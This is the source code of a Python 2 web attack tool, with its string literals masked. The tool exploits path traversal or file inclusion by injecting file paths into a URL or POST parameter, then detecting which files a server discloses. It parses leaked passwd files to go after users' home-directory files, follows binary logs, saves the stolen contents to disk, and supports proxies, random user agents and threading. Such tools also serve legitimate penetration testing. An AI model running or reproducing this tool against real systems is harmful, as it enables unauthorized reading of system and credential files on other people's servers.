<s> from __future__ import print_function <EOL> """<STR_LIT>""" <EOL> """<STR_LIT>""" <EOL> import difflib <EOL> import ConfigParser <EOL> import os <EOL> import random <EOL> import re <EOL> import string <EOL> import sys <EOL> import threading <EOL> import time <EOL> import xml . etree . ElementTree as ET <EOL> from urllib import urlencode <EOL> from urllib2 import build_opener , install_opener , urlopen , ProxyHandler , Request <EOL> from urlparse import urlsplit , urlunsplit , parse_qsl <EOL> from optparse import OptionParser <EOL> from subprocess import Popen , PIPE <EOL> from sys import exit <EOL> NAME = "<STR_LIT>" <EOL> VERSION = "<STR_LIT>" <EOL> URL = "<STR_LIT>" <EOL> INVALID_FILENAME = "<STR_LIT>" . join ( random . sample ( string . letters , <NUM_LIT:10> ) ) <EOL> MAX_HELP_OPTION_LENGTH = <NUM_LIT:20> <EOL> CASES_FILE = "<STR_LIT>" <EOL> USER_AGENTS_FILE = "<STR_LIT>" <EOL> HOME_FILES_FILE = "<STR_LIT>" <EOL> HEURISTIC_RATIO = <NUM_LIT> <EOL> SKIP_RETRIEVE_THRESHOLD = <NUM_LIT:1000> <EOL> BANNER = """<STR_LIT>""" % ( NAME , VERSION , URL ) <EOL> ROTATOR_CHARS = "<STR_LIT>" <EOL> GIT_REPOSITORY = "<STR_LIT>" <EOL> EXAMPLES = """<STR_LIT>""" <EOL> class PROXY_TYPE : <EOL> HTTP = "<STR_LIT>" <EOL> HTTPS = "<STR_LIT>" <EOL> SOCKS4 = "<STR_LIT>" <EOL> SOCKS5 = "<STR_LIT>" <EOL> class HTTP_HEADER : <EOL> COOKIE = "<STR_LIT>" <EOL> USER_AGENT = "<STR_LIT>" <EOL> CONTENT_LENGTH = "<STR_LIT>" <EOL> class AttribDict ( dict ) : <EOL> def __getattr__ ( self , name ) : <EOL> return self . get ( name ) <EOL> def __setattr__ ( self , name , value ) : <EOL> return self . __setitem__ ( name , value ) <EOL> kb = AttribDict ( ) <EOL> args = None <EOL> def print ( * args , ** kwargs ) : <EOL> """<STR_LIT>""" <EOL> with kb . print_lock : <EOL> return __builtins__ . print ( * args , ** kwargs ) <EOL> def get_cases ( args ) : <EOL> """<STR_LIT>""" <EOL> tree = ET . parse ( CASES_FILE ) <EOL> root = tree . getroot ( ) <EOL> def _ ( parent , element ) : <EOL> element . parent = parent <EOL> for key , value in element . attrib . items ( ) : <EOL> setattr ( element , key , value ) <EOL> for child in element . getchildren ( ) : <EOL> _ ( element , child ) <EOL> _ ( None , root ) <EOL> for attr in ( "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ) : <EOL> if getattr ( args , attr ) : <EOL> for element in root . findall ( "<STR_LIT>" % attr ) : <EOL> if element . value . lower ( ) != getattr ( args , attr ) . lower ( ) : <EOL> element . parent . remove ( element ) <EOL> if args . type : <EOL> for _ in ( _ for _ in ( "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ) if _ . lower ( ) != args . type . lower ( ) ) : <EOL> for element in root . findall ( "<STR_LIT>" % _ ) : <EOL> element . parent . remove ( element ) <EOL> def _ ( element , tag ) : <EOL> while element . parent is not None : <EOL> if element . parent . tag == tag : <EOL> return element . parent <EOL> else : <EOL> element = element . parent <EOL> cases = [ ] <EOL> replacements = { } <EOL> if args . url : <EOL> replacements [ "<STR_LIT>" ] = urlsplit ( args . url ) . netloc <EOL> for element in root . findall ( "<STR_LIT>" ) : <EOL> case = AttribDict ( ) <EOL> case . location = element . value <EOL> case . os = _ ( element , "<STR_LIT>" ) . value <EOL> case . category = _ ( element , "<STR_LIT>" ) . value <EOL> case . software = _ ( element , "<STR_LIT>" ) . value <EOL> case . type = _ ( element , "<STR_LIT>" ) is not None and "<STR_LIT>" or _ ( element , "<STR_LIT>" ) is not None and "<STR_LIT>" or _ ( element , "<STR_LIT>" ) is not None and "<STR_LIT>" <EOL> for variable in re . findall ( r"<STR_LIT>" , case . location ) : <EOL> case . location = case . location . replace ( variable , replacements . get ( variable . strip ( "<STR_LIT:{}>" ) , variable ) ) <EOL> match = re . search ( r"<STR_LIT>" , case . location ) <EOL> if match and kb . through : <EOL> original = case . location <EOL> for replacement in kb . versioned_locations [ match . group ( <NUM_LIT:1> ) ] : <EOL> case = AttribDict ( case ) <EOL> case . location = original . replace ( match . group ( <NUM_LIT:0> ) , replacement ) <EOL> cases . append ( case ) <EOL> else : <EOL> cases . append ( case ) <EOL> return cases <EOL> def load_list ( filepath ) : <EOL> """<STR_LIT>""" <EOL> items = [ ] <EOL> cases = [ ] <EOL> with open ( filepath , '<STR_LIT:r>' ) as f : <EOL> items = f . readlines ( ) <EOL> for item in items : <EOL> case = AttribDict ( { '<STR_LIT:location>' : item . strip ( ) } ) <EOL> cases . append ( case ) <EOL> return cases <EOL> def get_revision ( ) : <EOL> """<STR_LIT>""" <EOL> retval = None <EOL> filepath = None <EOL> _ = os . path . dirname ( __file__ ) <EOL> while True : <EOL> filepath = os . path . join ( _ , "<STR_LIT>" , "<STR_LIT>" ) <EOL> if os . path . exists ( filepath ) : <EOL> break <EOL> else : <EOL> filepath = None <EOL> if _ == os . path . dirname ( _ ) : <EOL> break <EOL> else : <EOL> _ = os . path . dirname ( _ ) <EOL> while True : <EOL> if filepath and os . path . isfile ( filepath ) : <EOL> with open ( filepath , "<STR_LIT:r>" ) as f : <EOL> content = f . read ( ) <EOL> filepath = None <EOL> if content . startswith ( "<STR_LIT>" ) : <EOL> filepath = os . path . join ( _ , "<STR_LIT>" , content . replace ( "<STR_LIT>" , "<STR_LIT>" ) ) . strip ( ) <EOL> else : <EOL> match = re . match ( r"<STR_LIT>" , content ) <EOL> retval = match . group ( <NUM_LIT:0> ) if match else None <EOL> break <EOL> else : <EOL> break <EOL> if not retval : <EOL> process = Popen ( "<STR_LIT>" , shell = True , stdout = PIPE , stderr = PIPE ) <EOL> stdout , _ = process . communicate ( ) <EOL> match = re . search ( r"<STR_LIT>" , stdout or "<STR_LIT>" ) <EOL> retval = match . group ( <NUM_LIT:0> ) if match else None <EOL> return retval [ : <NUM_LIT:7> ] if retval else None <EOL> def check_revision ( ) : <EOL> """<STR_LIT>""" <EOL> global BANNER <EOL> global VERSION <EOL> revision = get_revision ( ) <EOL> if revision : <EOL> _ = VERSION <EOL> VERSION = "<STR_LIT>" % ( VERSION , revision ) <EOL> BANNER = BANNER . replace ( _ , VERSION ) <EOL> def update ( ) : <EOL> """<STR_LIT>""" <EOL> print ( "<STR_LIT>" ) <EOL> process = Popen ( "<STR_LIT>" % GIT_REPOSITORY , shell = True , stdout = PIPE , stderr = PIPE ) <EOL> stdout , stderr = process . communicate ( ) <EOL> success = not process . returncode <EOL> if success : <EOL> updated = "<STR_LIT>" not in stdout <EOL> process = Popen ( "<STR_LIT>" , shell = True , stdout = PIPE , stderr = PIPE ) <EOL> stdout , _ = process . communicate ( ) <EOL> revision = stdout [ : <NUM_LIT:7> ] if stdout and re . search ( r"<STR_LIT>" , stdout ) else "<STR_LIT:->" <EOL> print ( "<STR_LIT>" % ( "<STR_LIT>" if not updated else "<STR_LIT>" , revision ) ) <EOL> else : <EOL> print ( "<STR_LIT>" % repr ( stderr . strip ( ) ) ) <EOL> print ( "<STR_LIT>" ) <EOL> def ask_question ( question , default = None , automatic = False ) : <EOL> """<STR_LIT>""" <EOL> question = "<STR_LIT>" % question <EOL> if automatic : <EOL> answer = default <EOL> print ( "<STR_LIT>" % ( question , answer ) ) <EOL> else : <EOL> with kb . print_lock : <EOL> answer = raw_input ( question ) <EOL> print <EOL> return answer <EOL> def prepare_request ( payload ) : <EOL> """<STR_LIT>""" <EOL> _ = re . sub ( r"<STR_LIT>" % args . param , <EOL> r"<STR_LIT>" % ( payload or "<STR_LIT>" ) , kb . request_params ) <EOL> request_args = { "<STR_LIT:url>" : "<STR_LIT>" % ( kb . parsed_target_url . scheme or "<STR_LIT:http>" , kb . parsed_target_url . netloc , kb . parsed_target_url . path ) } <EOL> if args . data : <EOL> request_args [ "<STR_LIT:data>" ] = _ <EOL> else : <EOL> request_args [ "<STR_LIT:url>" ] += "<STR_LIT>" % _ <EOL> if args . header : <EOL> request_args [ "<STR_LIT>" ] = args . header <EOL> if args . cookie : <EOL> request_args [ "<STR_LIT>" ] = args . cookie <EOL> if args . user_agent : <EOL> request_args [ "<STR_LIT>" ] = args . user_agent <EOL> request_args [ "<STR_LIT>" ] = args . verbose <EOL> return request_args <EOL> def clean_response ( response , filepath ) : <EOL> """<STR_LIT>""" <EOL> response = response . replace ( filepath , "<STR_LIT>" ) <EOL> regex = re . sub ( r"<STR_LIT>" , "<STR_LIT>" , filepath ) <EOL> return re . sub ( regex , "<STR_LIT>" , response , re . I ) <EOL> def request_file ( case , replace_slashes = True ) : <EOL> """<STR_LIT>""" <EOL> global ROTATOR_CHARS <EOL> if args . replace_slash and replace_slashes : <EOL> case . location = case . location . replace ( "<STR_LIT:/>" , args . replace_slash . replace ( "<STR_LIT:\\>" , "<STR_LIT>" ) ) <EOL> if kb . restrict_os and kb . restrict_os != case . os : <EOL> if args . verbose : <EOL> print ( "<STR_LIT>" % case . location ) <EOL> return None <EOL> if args . prefix and args . prefix [ len ( args . prefix ) - <NUM_LIT:1> ] == "<STR_LIT:/>" : <EOL> args . prefix = args . prefix [ : - <NUM_LIT:1> ] <EOL> _ = "<STR_LIT>" % ( args . prefix , case . location , args . postfix ) <EOL> if args . verbose : <EOL> print ( "<STR_LIT>" % _ ) <EOL> else : <EOL> with kb . print_lock : <EOL> sys . stdout . write ( "<STR_LIT>" % ROTATOR_CHARS [ <NUM_LIT:0> ] ) <EOL> sys . stdout . flush ( ) <EOL> ROTATOR_CHARS = ROTATOR_CHARS [ <NUM_LIT:1> : ] + ROTATOR_CHARS [ <NUM_LIT:0> ] <EOL> request_args = prepare_request ( _ ) <EOL> html = get_page ( ** request_args ) <EOL> if not html or args . bad_string and html . find ( args . bad_string ) != - <NUM_LIT:1> : <EOL> return None <EOL> matcher = difflib . SequenceMatcher ( None , clean_response ( html , case . location ) , clean_response ( kb . invalid_response , INVALID_FILENAME ) ) <EOL> if matcher . quick_ratio ( ) < HEURISTIC_RATIO : <EOL> with kb . value_lock : <EOL> if not kb . found : <EOL> print ( "<STR_LIT>" ) <EOL> if case . os : <EOL> print ( "<STR_LIT>" % case . os ) <EOL> if kb . restrict_os is None : <EOL> answer = ask_question ( "<STR_LIT>" % case . os , default = '<STR_LIT:Y>' , automatic = args . automatic ) <EOL> kb . restrict_os = answer . upper ( ) != '<STR_LIT:N>' and case . os <EOL> _ = "<STR_LIT:/>" . join ( _ for _ in ( case . os , case . category , case . type ) if _ ) <EOL> if _ : <EOL> _ = "<STR_LIT>" % ( case . location , _ ) <EOL> _ = _ . replace ( "<STR_LIT>" % ( case . os , case . os ) , "<STR_LIT>" % case . os ) <EOL> else : <EOL> _ = "<STR_LIT>" % case . location <EOL> print ( "<STR_LIT>" % _ ) <EOL> if args . verbose : <EOL> kb . files . append ( _ ) <EOL> if args . write_files : <EOL> _ = os . path . join ( "<STR_LIT>" , kb . parsed_target_url . netloc ) <EOL> if not os . path . exists ( _ ) : <EOL> os . makedirs ( _ ) <EOL> with open ( os . path . join ( _ , "<STR_LIT>" % case . location . replace ( args . replace_slash if args . replace_slash else "<STR_LIT:/>" , "<STR_LIT:_>" ) ) , "<STR_LIT:w>" ) as f : <EOL> content = html <EOL> with kb . value_lock : <EOL> if kb . filter_output is None : <EOL> answer = ask_question ( "<STR_LIT>" , default = '<STR_LIT:Y>' , automatic = args . automatic ) <EOL> kb . filter_output = answer . upper ( ) != '<STR_LIT:N>' <EOL> if kb . get ( "<STR_LIT>" ) : <EOL> matcher = difflib . SequenceMatcher ( None , html or "<STR_LIT>" , kb . original_response or "<STR_LIT>" ) <EOL> matching_blocks = matcher . get_matching_blocks ( ) <EOL> if matching_blocks : <EOL> start = matching_blocks [ <NUM_LIT:0> ] <EOL> if start [ <NUM_LIT:0> ] == start [ <NUM_LIT:1> ] == <NUM_LIT:0> and start [ <NUM_LIT:2> ] > <NUM_LIT:0> : <EOL> content = content [ start [ <NUM_LIT:2> ] : ] <EOL> if len ( matching_blocks ) > <NUM_LIT:2> : <EOL> end = matching_blocks [ - <NUM_LIT:2> ] <EOL> if end [ <NUM_LIT:2> ] > <NUM_LIT:0> and end [ <NUM_LIT:0> ] + end [ <NUM_LIT:2> ] == len ( html ) and end [ <NUM_LIT:1> ] + end [ <NUM_LIT:2> ] == len ( kb . original_response ) : <EOL> content = content [ : - end [ <NUM_LIT:2> ] ] <EOL> f . write ( content ) <EOL> return html <EOL> return None <EOL> def try_cases ( cases ) : <EOL> """<STR_LIT>""" <EOL> passwd_files = [ "<STR_LIT>" , "<STR_LIT>" ] <EOL> if args . replace_slash : <EOL> for i , v in enumerate ( passwd_files ) : <EOL> passwd_files [ i ] = v . replace ( "<STR_LIT:/>" , args . replace_slash ) <EOL> for case in cases : <EOL> html = request_file ( case ) <EOL> if html is None : <EOL> continue <EOL> if not kb . found : <EOL> kb . found = True <EOL> if case . location in passwd_files and not args . skip_parsing : <EOL> users = re . finditer ( "<STR_LIT>" , html ) <EOL> if args . verbose : <EOL> print ( "<STR_LIT>" % case . location ) <EOL> for user in users : <EOL> if args . verbose : <EOL> print ( "<STR_LIT>" % ( user . group ( "<STR_LIT:username>" ) , user . group ( "<STR_LIT:info>" ) ) ) <EOL> if not kb . home_files : <EOL> with open ( HOME_FILES_FILE , "<STR_LIT:r>" ) as f : <EOL> kb . home_files = filter ( None , ( _ . strip ( ) for _ in f . readlines ( ) ) ) <EOL> for _ in kb . home_files : <EOL> if user . group ( "<STR_LIT>" ) == "<STR_LIT:/>" : <EOL> continue <EOL> request_file ( AttribDict ( { "<STR_LIT>" : "<STR_LIT>" , "<STR_LIT:type>" : "<STR_LIT>" , "<STR_LIT>" : case . os , "<STR_LIT:location>" : "<STR_LIT>" % ( user . group ( "<STR_LIT>" ) , _ ) , "<STR_LIT>" : "<STR_LIT>" } ) ) <EOL> if "<STR_LIT>" in case . location and not args . skip_parsing : <EOL> binlogs = re . findall ( "<STR_LIT>" , html ) <EOL> location = case . location . rfind ( "<STR_LIT:/>" ) + <NUM_LIT:1> <EOL> if args . verbose : <EOL> print ( "<STR_LIT>" % case . location ) <EOL> for _ in binlogs : <EOL> request_file ( AttribDict ( { "<STR_LIT>" : "<STR_LIT>" , "<STR_LIT:type>" : "<STR_LIT>" , "<STR_LIT>" : case . os , "<STR_LIT:location>" : "<STR_LIT>" % ( case . location [ : location ] , _ ) , "<STR_LIT>" : "<STR_LIT>" } ) , False ) <EOL> def parse_args ( ) : <EOL> """<STR_LIT>""" <EOL> OptionParser . format_epilog = lambda self , formatter : self . epilog <EOL> parser = OptionParser ( usage = "<STR_LIT>" , epilog = EXAMPLES ) <EOL> parser . add_option ( "<STR_LIT>" , "<STR_LIT>" , action = "<STR_LIT:store_true>" , dest = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , "<STR_LIT>" , dest = "<STR_LIT:url>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , "<STR_LIT>" , dest = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , "<STR_LIT>" , dest = "<STR_LIT:data>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , "<STR_LIT>" , dest = "<STR_LIT:type>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , "<STR_LIT>" , dest = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , "<STR_LIT>" , dest = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT:-c>" , "<STR_LIT>" , dest = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , "<STR_LIT>" , dest = "<STR_LIT:list>" , metavar = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , "<STR_LIT>" , dest = "<STR_LIT>" , action = "<STR_LIT:store_true>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , "<STR_LIT>" , dest = "<STR_LIT>" , action = "<STR_LIT:store_true>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , "<STR_LIT>" , dest = "<STR_LIT>" , action = "<STR_LIT:store_true>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , metavar = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , action = "<STR_LIT:store_true>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , metavar = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , action = "<STR_LIT:store_true>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , default = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , default = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , type = "<STR_LIT:int>" , default = <NUM_LIT:1> , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , metavar = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , type = "<STR_LIT:int>" , default = <NUM_LIT:1> , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . add_option ( "<STR_LIT>" , dest = "<STR_LIT>" , action = "<STR_LIT:store_true>" , <EOL> help = "<STR_LIT>" ) <EOL> parser . formatter . store_option_strings ( parser ) <EOL> parser . formatter . store_option_strings = lambda _ : None <EOL> for option , value in parser . formatter . option_strings . items ( ) : <EOL> value = re . sub ( r"<STR_LIT>" , r"<STR_LIT>" , value ) <EOL> value = value . replace ( "<STR_LIT:U+002CU+0020>" , '<STR_LIT:/>' ) <EOL> if len ( value ) > MAX_HELP_OPTION_LENGTH : <EOL> value = ( "<STR_LIT>" % ( MAX_HELP_OPTION_LENGTH - parser . formatter . indent_increment ) ) % value <EOL> parser . formatter . option_strings [ option ] = value <EOL> args = parser . parse_args ( ) [ <NUM_LIT:0> ] <EOL> if args . url and not args . url . lower ( ) . startswith ( "<STR_LIT:http>" ) : <EOL> args . url = "<STR_LIT>" % args . url <EOL> if not any ( ( args . url , args . list , args . update ) ) : <EOL> parser . error ( "<STR_LIT>" ) <EOL> if args . prefix : <EOL> args . prefix = args . prefix * args . multiplier <EOL> return args <EOL> def main ( ) : <EOL> """<STR_LIT>""" <EOL> global args <EOL> kb . files = [ ] <EOL> kb . found = False <EOL> kb . print_lock = threading . Lock ( ) <EOL> kb . value_lock = threading . Lock ( ) <EOL> kb . versioned_locations = { } <EOL> check_revision ( ) <EOL> print ( BANNER ) <EOL> args = parse_args ( ) <EOL> if args . update : <EOL> update ( ) <EOL> exit ( ) <EOL> with open ( "<STR_LIT>" ) as f : <EOL> section = None <EOL> for line in f . xreadlines ( ) : <EOL> line = line . strip ( ) <EOL> if re . match ( r"<STR_LIT>" , line ) : <EOL> section = line . strip ( "<STR_LIT>" ) <EOL> elif line : <EOL> if section not in kb . versioned_locations : <EOL> kb . versioned_locations [ section ] = [ ] <EOL> kb . versioned_locations [ section ] . append ( line ) <EOL> cases = get_cases ( args ) if not args . list_file else load_list ( args . list_file ) <EOL> if not cases : <EOL> print ( "<STR_LIT>" <EOL> "<STR_LIT>" ) <EOL> exit ( ) <EOL> if args . list : <EOL> args . list = args . list . lower ( ) <EOL> _ = ( "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ) <EOL> if args . list not in _ : <EOL> print ( "<STR_LIT>" % "<STR_LIT:U+002CU+0020>" . join ( _ ) ) <EOL> exit ( ) <EOL> print ( "<STR_LIT>" % args . list ) <EOL> try : <EOL> for _ in set ( [ _ [ args . list ] for _ in cases ] ) : <EOL> print ( _ if re . search ( r"<STR_LIT>" , _ ) else '<STR_LIT>' % _ ) <EOL> except KeyError : <EOL> pass <EOL> finally : <EOL> exit ( ) <EOL> if args . ignore_proxy : <EOL> _ = ProxyHandler ( { } ) <EOL> opener = build_opener ( _ ) <EOL> install_opener ( opener ) <EOL> elif args . proxy : <EOL> match = re . search ( r"<STR_LIT>" , args . proxy , re . I ) <EOL> if match : <EOL> if match . group ( "<STR_LIT:type>" ) . upper ( ) in ( PROXY_TYPE . HTTP , PROXY_TYPE . HTTPS ) : <EOL> _ = ProxyHandler ( { match . group ( "<STR_LIT:type>" ) : args . proxy } ) <EOL> opener = build_opener ( _ ) <EOL> install_opener ( opener ) <EOL> else : <EOL> from thirdparty . socks import socks <EOL> if match . group ( "<STR_LIT:type>" ) . upper ( ) == PROXY_TYPE . SOCKS4 : <EOL> socks . setdefaultproxy ( socks . PROXY_TYPE_SOCKS4 , match . group ( "<STR_LIT:address>" ) , int ( match . group ( "<STR_LIT:port>" ) ) , True ) <EOL> elif match . group ( "<STR_LIT:type>" ) . upper ( ) == PROXY_TYPE . SOCKS5 : <EOL> socks . setdefaultproxy ( socks . PROXY_TYPE_SOCKS5 , match . group ( "<STR_LIT:address>" ) , int ( match . group ( "<STR_LIT:port>" ) ) , True ) <EOL> else : <EOL> print ( "<STR_LIT>" ) <EOL> exit ( ) <EOL> if args . random_agent : <EOL> with open ( USER_AGENTS_FILE , '<STR_LIT:r>' ) as f : <EOL> args . user_agent = random . sample ( f . readlines ( ) , <NUM_LIT:1> ) [ <NUM_LIT:0> ] <EOL> kb . parsed_target_url = urlsplit ( args . url ) <EOL> kb . request_params = args . data if args . data else kb . parsed_target_url . query <EOL> if not args . param : <EOL> match = re . match ( "<STR_LIT>" , kb . request_params ) <EOL> if match : <EOL> args . param = match . group ( "<STR_LIT>" ) <EOL> else : <EOL> found = False <EOL> for match in re . finditer ( "<STR_LIT>" , kb . request_params ) : <EOL> found = True <EOL> print ( "<STR_LIT>" % match . group ( "<STR_LIT>" ) ) <EOL> if found : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> exit ( ) <EOL> if args . os : <EOL> kb . restrict_os = args . os <EOL> print ( "<STR_LIT>" % time . strftime ( "<STR_LIT>" ) ) <EOL> print ( "<STR_LIT>" ) <EOL> request_args = prepare_request ( None ) <EOL> request_args [ "<STR_LIT:url>" ] = args . url <EOL> if args . data : <EOL> request_args [ "<STR_LIT:data>" ] = args . data <EOL> kb . original_response = get_page ( ** request_args ) <EOL> if not kb . original_response : <EOL> print ( "<STR_LIT>" ) <EOL> if not args . verbose : <EOL> print ( "<STR_LIT>" ) <EOL> exit ( ) <EOL> print ( "<STR_LIT>" ) <EOL> request_args = prepare_request ( "<STR_LIT>" % ( args . prefix , INVALID_FILENAME , args . postfix ) ) <EOL> kb . invalid_response = get_page ( ** request_args ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> if args . threads > <NUM_LIT:1> : <EOL> print ( "<STR_LIT>" % args . threads ) <EOL> threads = [ ] <EOL> for i in xrange ( args . threads ) : <EOL> thread = threading . Thread ( target = try_cases , args = ( [ cases [ _ ] for _ in xrange ( i , len ( cases ) , args . threads ) ] , ) ) <EOL> thread . daemon = True <EOL> thread . start ( ) <EOL> threads . append ( thread ) <EOL> alive = True <EOL> while alive : <EOL> alive = False <EOL> for thread in threads : <EOL> if thread . isAlive ( ) : <EOL> alive = True <EOL> time . sleep ( <NUM_LIT:0.1> ) <EOL> if not kb . found : <EOL> print ( "<STR_LIT>" ) <EOL> elif args . verbose : <EOL> print ( "<STR_LIT>" ) <EOL> for _ in kb . files : <EOL> print ( "<STR_LIT>" % _ ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" % time . strftime ( "<STR_LIT>" ) ) <EOL> def get_page ( ** kwargs ) : <EOL> """<STR_LIT>""" <EOL> url = kwargs . get ( "<STR_LIT:url>" , None ) <EOL> post = kwargs . get ( "<STR_LIT:data>" , None ) <EOL> header = kwargs . get ( "<STR_LIT>" , None ) <EOL> cookie = kwargs . get ( "<STR_LIT>" , None ) <EOL> user_agent = kwargs . get ( "<STR_LIT>" , None ) <EOL> verbose = kwargs . get ( "<STR_LIT>" , False ) <EOL> headers = { } <EOL> parsed_url = None <EOL> page = None <EOL> if url is None : <EOL> raise Exception ( "<STR_LIT>" ) <EOL> try : <EOL> parsed_url = urlsplit ( url ) <EOL> except : <EOL> raise Exception ( "<STR_LIT>" % url ) <EOL> if user_agent is None : <EOL> user_agent = "<STR_LIT>" % ( NAME , VERSION ) <EOL> if post is None : <EOL> parsed_url = parsed_url . _replace ( query = urlencode ( parse_qsl ( parsed_url . query ) ) ) <EOL> url = urlunsplit ( parsed_url ) <EOL> else : <EOL> post = urlencode ( parse_qsl ( post ) , "<STR_LIT:POST>" ) <EOL> try : <EOL> headers [ HTTP_HEADER . USER_AGENT ] = user_agent <EOL> if cookie : <EOL> headers [ HTTP_HEADER . COOKIE ] = cookie <EOL> if header : <EOL> headers [ header . split ( "<STR_LIT:=>" ) [ <NUM_LIT:0> ] ] = header . split ( "<STR_LIT:=>" , <NUM_LIT:1> ) [ <NUM_LIT:1> ] <EOL> req = Request ( url , post , headers ) <EOL> conn = urlopen ( req ) <EOL> if not args . write_files and kb . original_response and kb . invalid_response : <EOL> _ = conn . headers . get ( HTTP_HEADER . CONTENT_LENGTH , "<STR_LIT>" ) <EOL> if _ . isdigit ( ) : <EOL> _ = int ( _ ) <EOL> if _ - max ( len ( kb . original_response ) , len ( kb . invalid_response ) ) > SKIP_RETRIEVE_THRESHOLD : <EOL> page = "<STR_LIT>" . join ( random . choice ( string . letters ) for i in xrange ( _ ) ) <EOL> if not page : <EOL> page = conn . read ( ) <EOL> except KeyboardInterrupt : <EOL> raise <EOL> except Exception , e : <EOL> if hasattr ( e , "<STR_LIT>" ) : <EOL> page = page or e . read ( ) <EOL> if verbose : <EOL> if hasattr ( e , "<STR_LIT>" ) : <EOL> print ( "<STR_LIT>" % e . msg ) <EOL> if hasattr ( e , "<STR_LIT>" ) : <EOL> print ( "<STR_LIT>" % e . reason ) <EOL> if getattr ( e , "<STR_LIT:message>" ) : <EOL> print ( "<STR_LIT>" % e . message ) <EOL> if hasattr ( e , "<STR_LIT:code>" ) : <EOL> print ( "<STR_LIT>" % e . code ) <EOL> if hasattr ( e , "<STR_LIT:info>" ) : <EOL> print ( "<STR_LIT>" % e . info ( ) ) <EOL> return page <EOL> if __name__ == "<STR_LIT:__main__>" : <EOL> try : <EOL> main ( ) <EOL> except KeyboardInterrupt : <EOL> print ( "<STR_LIT>" ) </s>
